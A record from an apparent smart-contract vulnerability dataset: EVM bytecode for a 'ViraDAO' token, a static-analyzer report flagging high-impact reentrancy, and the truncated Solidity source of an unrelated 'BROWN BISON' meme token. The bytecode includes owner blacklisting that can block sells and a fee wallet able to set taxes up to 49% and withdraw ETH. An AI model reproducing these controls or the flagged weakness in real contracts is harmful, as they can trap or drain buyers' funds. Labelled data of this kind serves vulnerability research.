65b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b60405180910390f35b60606040518060400160405280600781526020017f5669726144414f00000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90612f27565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2456495241000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea0000090506125a3683635c9adc5dea00000600954611f6790919063ffffffff16565b8210156125c257600954683635c9adc5dea000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059481b34f9179dffa23ece27acf8d3ab2e43804f57107ac23fa861fb906b9bbc64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,964 |
0x6b21512952aE79faa951F22F02c65a0846461a00
|
/**
BROWN BISON (TATANKA)
telegram https://t.me/BROWNBISON
website https://brown-bison.netlify.app
twitter https://twitter.com/BizonBrown
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TATANKA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BROWN BISON";
string private constant _symbol = "TATANKA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2BEfb4e2C628C3fD471d311541FCA8CD479cECa4);
address payable private _marketingAddress = payable(0x2574A9B662cd36C818D374409581c2E35047DD0D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000000 * 10**9; //0,5%
uint256 public _maxWalletSize = 2000000000000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.01%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
